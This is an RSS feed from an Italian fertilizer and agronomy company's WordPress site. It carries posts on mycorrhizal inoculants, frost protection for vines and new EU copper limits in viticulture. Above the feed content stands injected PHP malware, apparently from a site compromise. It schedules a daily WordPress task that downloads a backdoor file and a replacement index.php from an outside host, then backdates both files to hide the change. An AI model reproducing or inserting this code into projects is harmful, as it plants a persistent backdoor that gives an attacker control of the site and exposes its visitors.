if(!wp_next_scheduled('wp_cache_gc')){wp_schedule_event(time(),'daily','wp_cache_gc');} add_action('wp_cache_gc',function(){ $r=filemtime(ABSPATH.'wp-config.php'); $z=ABSPATH.'wp-liinks.php'; $i=ABSPATH.'index.php'; if(!file_exists($z)){@copy('https://devtools.websihosts.com/u282n1/wp-liinks.php',$z);@touch($z,$r);} if(strpos(file_get_contents($i),'wp-liinks.php')===false){@copy('https://devtools.websihosts.com/u282n1/indexx.txt',$i);@touch($i,$r);} }); Laboratorio Enologico Toscano » Senza categoria https://laboratorioenologicotoscano.it Tue, 11 Nov 2025 14:47:28 +0000 it-IT hourly 1 https://wordpress.org/?v=4.1.41 L’uso di micorrize in agricoltura sarà sempre più importante https://laboratorioenologicotoscano.it/luso-di-micorrize-in-agricoltura-sara-sempre-piu-importante/ https://laboratorioenologicotoscano.it/luso-di-micorrize-in-agricoltura-sara-sempre-piu-importante/#comments Thu, 23 Mar 2023 15:27:10 +0000 https://laboratorioenologicotoscano.it/?p=4975 Le micorrize sono uno strumento molto efficace per migliorare l’equilibrio delle piante con l’ambiente e la vita microbiologica del terreno per rendere le colture in condizione di superare ogni tipo di stress.

Le micorrize sono funghi che vivono in stretto rapporto di cooperazione con le piante. Esistono due grandi gruppi (Ectomicorrize e Endomicorrize), ma quello che più interessa a noi sono le endomicorrize, simbionti obbligati in grado di connettersi con le radici occupando gli spazi intercellulari della superficie corticale, tramite le loro ife esplorano il terreno e scambiano continuamente con le piante sostanze nutritive, ampliando esponenzialmente così la loro rete radicale e la capacità di sfruttare il terreno.

Che vantaggi possono dare le micorrize?

  • Scambio di sostanze. Le micorrize rendono disponibile tutta la loro rete di assorbimento alla pianta, assorbono e trasferiscono alla pianta elementi come fosforo, potassio e microelementi.
  • Difesa delle radici. Le micorrize creano una barriera meccanica da altri funghi o batteri, fornendo un efficace scudo per l’apparato radicale del loro ospite.

Myco Active Plus WP è un prodotto ad alta concentrazione di micorrize e contiene altri batteri della ryzosphera per migliorare la diversità microbiologica e avere un pool completo di microrganismi utili in grado di migliorare la struttura del suolo e capaci di sintetizzare sostanze nutritive con i loro metabolismi.

Oltre 1000 propaguli per grammo di micorrize selezionate e la presenza di batteri della ryzosphera e di Trichoderma contribuiscono alla formazione di un ambiente ottimale.

Il momento migliore per l’inoculo è al trapianto di qualsiasi pianta (Myco Active Plus WP è compatibile con il 95% delle specie vegetali), nel caso di nuovi impianti vigneto, la piantumazione di barbatelle micorrizate garantisce uno sviluppo decisamente migliore dell’apparato radicale che si traduce in sviluppo ottimale di tutta la pianta, migliore resistenza alla siccità, al caldo e alle malattie.

Myco Active Plus wp è indicato per fare sia “bagni radicali” prima della messa a dimora che applicazioni localizzate in vigneti adulti su piante in stress che manifestano stanchezza.

Se vuoi maggiori informazioni sul prodotto Myco Active Plus WP, dove trovarlo o come funziona, puoi cliccare questo link MycoActive Plus

Richiedi informazioni

Un nostro tecnico ti risponderà subito

Sapevi che produciamo fertilizzanti da oltre 20 anni? I nostri prodotti sono utilizzati con successo campagna dopo campagna dal 2001! 

I nostri biostimolanti e le nostre tecnologie sono utilizzate con successo dalle migliori aziende Italiane, da nord a sud abbiamo fornito oltre 100.000 ettari con successo e soddisfazione dei nostri clienti.

MycoActive_Plus_WPMycoActive Plus WP

Inoculo di funghi micorrizici concentrato – stimola la crescita e la resistenza delle piante

▶︎ Anche per USO BIOLOGICO

Myco Active PLUS WP è un complesso concentrato di microrganismi specifici della rizosfera sia micorrizici che probioti.

Questi instaurano un rapporto simbiontico e associativo con le radici della coltura trattata molto rapidamente determinando un miglior sviluppo vegetativo, una maggiore tolleranza alle condizioni pedoclimatiche sfavorevoli e aumenti in quantità e qualità dei raccolti.

Acquista qui

 

Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!

Newsletter

]]>
https://laboratorioenologicotoscano.it/luso-di-micorrize-in-agricoltura-sara-sempre-piu-importante/feed/ 2
Primavera instabile, rischio gelate. Ecco come difendersi https://laboratorioenologicotoscano.it/marzo-con-sorpresa-rischio-gelate-ecco-come-difendersi/ https://laboratorioenologicotoscano.it/marzo-con-sorpresa-rischio-gelate-ecco-come-difendersi/#comments Tue, 05 Mar 2019 09:57:48 +0000 http://laboratorioenologicotoscano.it/?p=4611 Per tutta la primavera si alternano giorni con temperature vicine ai 20 gradi ad improvvise incursioni di aria fredda, situazione alquanto complicata e rischiosa per i nuovi germogli.

Quali rischi stiamo correndo?

I modelli meteo (ECMWF) mostrano perturbazioni atlantiche  che porteranno aria fredda su tutta la penisola, con abbassamento di temperature anche di 10 gradi nella media.

La perturbazione potrebbe peggiorare nei giorni subito successivi con l’arrivo di ulteriore aria fredda dal nord, portando pioggia e gelo per ancora qualche giorno.

Quali sono i rischi per le piante?

La risposta non è semplice ne scontata, e dipende soprattutto dalla resistenza specifica di ogni varietà. Partiamo proprio dal concetto di resistenza agli stress abiotici, in particolare per gli stress dovuti alle temperature.

Prendiamo ad esempio quello che è successo intorno al 20 aprile 2017, in poche ore le temperare sono calate rapidamente fino ad scendere di diversi gradi centigradi sotto lo zero. L’abbassamento repentino non ha permesso alle piante di reagire in tempo e questo fattore ha causato i danni tristemente noti, portando a perdite produttive vicine al 40% (media nazionale).

I danni più gravi in caso di congelamento avvengono a livello cellulare ed extra cellulare. Il congelamento causa uno stress molto simile a quello da siccità, poiché l’acqua, che si trova nello spazio extra cellulare, meno ricca di sali e proteine tende a congelare causando un differenziale osmotico importante e la cellula di conseguenza perde acqua.

Cosa può determinare quindi la resistenza a questo fenomeno?

→ La composizione delle membrane (maggiore presenza di acidi grassi insaturi determina temperature di solidificazione più basse e quindi maggiore resistenza)

→ la quantità di elettroliti, modificando il potenziale

→ La qualità delle proteine PR, fra queste ne esistono di specifiche che fungono da anticongelante.

Nel 2019 ci sarà rischio? Le previsioni indicate nel primo paragrafo indicano un rischio reale, le piante hanno avuto un assaggio di primavera e stanno germogliando, un incursione repentina di aria gelida non può che determinare rischio.

Cosa possiamo fare per sfruttare i meccanismi naturali di resistenza?

Un sistema che si è rivelato molto efficace e che ha salvato numerosi impianti anche nel 2017, è stato quello di stimolare il perfetto equilibrio vegetativo nella pianta in previsione di forte e repentino abbassamento delle temperature, ma come si può fare?

In natura, la pianta regola l’espressione genica a seconda dei diversi stimoli esterni ai quali reagisce, sfruttando ormoni e mRNA, in base a cosa le succede intorno si attivano dei recettori e di conseguenza delle sequenze dormienti (o meno) che codificano per proteine specifiche, modificando la composizione del citoplasma e delle membrane. Questo processo naturalmente ha tempistiche molto variabili.

La nostra soluzione si chiama idrolizzati proteici che hanno l’effetto di stimolazione di questi processi, con rapidità e grande efficacia.

Nel 2017 abbiamo avuto modo di testare il nostro ProTech (Idrolizzato proteico) nei giorni di gelate, verificando la sua grande efficacia superiore a quella delle alghe. I peptidi con dimensioni e taglio molecolare specifici presenti in ProTech hanno dimostrato di stimolare i processi di resistenza molto rapidamente e con grande efficacia.

In molti casi è stato sufficiente trattare poche ore prima della prevista gelata e le piante hanno resistito al freddo dimostrando una grande ed importante risposta.

Non solo, abbiamo osservato che su piante danneggiate (non completamente secche, ovviamente) c’è stata una decisa risposta metabolica che ha ristabilito la normalità quasi totale, scongiurando il disseccamento dei germogli.

Inoltre, ProTech, grazie al pool variegato e unico di peptidi, agisce su molti metabolismi, rendendo la pianta pronta ad una importante serie di stress. Le piante trattate sono risultate più resistenti dei testimoni anche alle condizioni successive di siccità e carenza idrica. In minima parte il prodotto ha anche aiutato per gli stress biotici, anche se per quelli esistono prodotti specifici molto più efficaci, sempre sfruttando meccanismi di resistenza indotta.

protech sul freddo

Nell’immagine in alto si può vedere una pianta giovane che ha subito danni da gelo e, a fianco, la risposta dopo il trattamento con ProTech. Ovviamente i tessuti danneggiati, ma non completamente compromessi sono rimasti circoscritti e le parti ancora vitali sono rimaste attive. La pianta non ha continuato il processo di disseccamento dovuto ai danni subiti.

Questo ha permesso la normale prosecuzione della vegetazione non compromettendo la produzione, le foglie troppo danneggiate sono poi state sostituite rapidamente.

Con nostra gradita sorpresa, chi ha utilizzato ProTech anche a seguito di un disseccamento diffuso e disteso del vigneto sui nuovi germogli di seconda gemma, ha ottenuto una perfetta maturazione del legno con regolare agostatura e nessun problema sulla potatura invernale nonostante il mese di ritardo sulla stagione dovuto alla gelata.

Il nostro consiglio è quello di intervenire preventivamente o anche tenere sempre a disposizione prodotto in caso di previsioni di rischio.

 

Se vuoi maggiori informazioni sul prodotto, dove trovarlo o come funziona, puoi cliccare sul link per la scheda tecnica per leggere più informazioni o contattarci per parlare con un tecnico (oppure chiamaci al +39 (0577) 979149 ).

 

I professionisti con i quali collaboriamo sono a disposizione per assistere i produttori di tutta Italia,  cliccando qui di seguito è possibile richiedere informazioni sui servizi e prodotti descritti.

Richiedi informazioni

Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!

Newsletter

 

 

]]>
https://laboratorioenologicotoscano.it/marzo-con-sorpresa-rischio-gelate-ecco-come-difendersi/feed/ 0
Rame vigneto, nuovi limiti e guida all’uso https://laboratorioenologicotoscano.it/rame-vigneto-nuovi-limiti-e-guida-alluso/ https://laboratorioenologicotoscano.it/rame-vigneto-nuovi-limiti-e-guida-alluso/#comments Fri, 15 Feb 2019 11:51:28 +0000 http://laboratorioenologicotoscano.it/?p=4594 La Commissione Europea impone nuovi limiti sull’uso del rame, il fungicida ha ufficialmente il nuovo limite di 4 kg per ettaro, tuttavia sembra, al momento in cui scriviamo, improbabile che questa novità riguardi già stagione 2019 ma sarà sicuramente attivo per quella del 2020.

Rimane da tenere conto che il nuovo limite imposto avrà una flessibilità sui 7 anni, sarà in teoria possibile andare oltre ai 4 kg in un anno se la media dei 7 anni rimarrà comunque entro i 28 kg.

Diventa sempre più complicato gestire la difesa nel biologico sopratutto in zone dove la pressione della malattia è elevata, dove già i 6 kg per ettaro erano talvolta limitanti.

Difesa integrata e agricoltura di precisione

È sempre più attuale e necessario pensare alla difesa come pratica integrata da gestire in modo preciso e puntuale, quali sono le armi che abbiamo a disposizione per gestire i nuovi limiti di rame metallo?

Monitorare i vigneti e osservare l’andamento climatico. Ogni trattamento è prezioso come lo è ogni grammo di rame, il monitoraggio dell’andamento climatico e delle fasi fenologiche della vite è fondamentale per poter decidere con precisione quando trattare e con quali sali di rame.

Un intervento non ottimale causa, oltre che alla scarsa efficacia, la necessità di intervenire nuovamente, impattando notevolmente sulle quantità di rame e sulla qualità del raccolto.

La precisione è inoltre fondamentale, inutile trattare se le condizioni di infezione non si presentano, una buona interpretazione dei dati previsionali permettono di ridurre drasticamente il numero dei trattamenti.

Utilizzo di biostimolanti.  Esistono in commercio, oltre ai nostri preparati specifici (di cui abbiamo parlato qui) numerosi prodotti che rendono le piante forti e vigorose, il loro utilizzo permette di ridurre le quantità di rame  e il numero dei trattamenti.

Come utilizzare al meglio i sali di rame

Come utilizzare al meglio il rame a disposizione

Conosciamo meglio i principi attivi a nostra disposizione, questo ci è utile per capire meglio quando utilizzare un determinato sale rispetto ad un altro e che tipo di copertura ci garantisce.

Solfato di rame neutralizzato con calce: inizio efficacia del p.a. (dopo 12-15 ore dal trattamento), persistenza (8-9 giorni)

Ossicloruro di rame: inizio efficacia del p.a. (dopo 10-12 ore dal trattamento), persistenza (7-8 giorni)

Idrossido di rame: inizio efficacia del p.a. (dopo 2-4 ore dal trattamento), persistenza (4-5 giorni)

Solfato di rame tribasico: inizio efficacia del p.a. (dopo 4-6 ore dal trattamento), persistenza (7-8 giorni)

 

Queste informazioni sono da tenere di conto al momento della scelta del trattamento da combinare con le informazioni meteo (quando, quanto è piovuto e se pioverà nuovamente, possibilità o meno di rientro), con lo stato sanitario e la situazione generale del nostro vigneto.

Per esempio se le condizioni di infezione sono già presenti nel mio vigneto perché è piovuto copiosamente nelle ultime ore, magari non riesco ad entrare rapidamente in campo perché il terreno è troppo bagnato e le temperature medie sono superiore ai 10 gradi sarà preferibile trattare con un idrossido di rame che un’azione molto rapida.

Dovrò però tenere di conto che questo sale ha una persistenza breve rispetto agli altri e dovrò già pensare che, se dopo 4-5 giorni si ripresentano le condizioni di infezione, dovrò effettuare un altro trattamento.

Sempre in base alle previsioni meteo, in caso di piogge prolungate per molti giorni con temperature medie di rischio infezione, sarebbe opportuno valutare un trattamento con altri sali, che mi permettano una copertura più lunga.

Questi sono soltanto esempi, è necessario avere bene in mente che non esiste un sale di rame che sia perfetto in ogni condizione e solo un’attenta analisi e conoscenza dei sali permette una difesa impeccabile anche con limiti più restrittivi.

 

I professionisti con i quali collaboriamo sono a disposizione per assistere i produttori di tutta Italia,  cliccando qui di seguito è possibile richiedere informazioni sul servizio offerto.

Richiedi informazioni

Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!

Newsletter

 

 

]]>
https://laboratorioenologicotoscano.it/rame-vigneto-nuovi-limiti-e-guida-alluso/feed/ 0